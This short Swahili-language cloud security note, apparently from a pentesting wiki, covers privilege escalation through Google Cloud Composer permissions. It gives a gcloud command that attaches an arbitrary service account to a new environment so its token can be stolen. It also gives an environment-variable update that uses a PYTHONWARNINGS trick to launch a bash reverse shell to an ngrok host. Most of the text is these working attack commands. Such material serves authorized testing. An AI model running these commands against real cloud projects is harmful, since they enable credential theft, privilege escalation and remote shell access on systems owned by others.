GCP - Composer Enum

composer.environments.create

Inawezekana kuambatisha akaunti yoyote ya huduma kwenye mazingira mapya ya composer kwa ruhusa hiyo. Baadaye unaweza kutekeleza msimbo ndani ya composer kuiba tokeni ya akaunti ya huduma.

gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"

Maelezo zaidi kuhusu unyonyaji hapa.

composer.environments.update

Inawezekana kusasisha mazingira ya composer, kwa mfano, kubadilisha env variables:

# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location <location> \
--project <project-id>
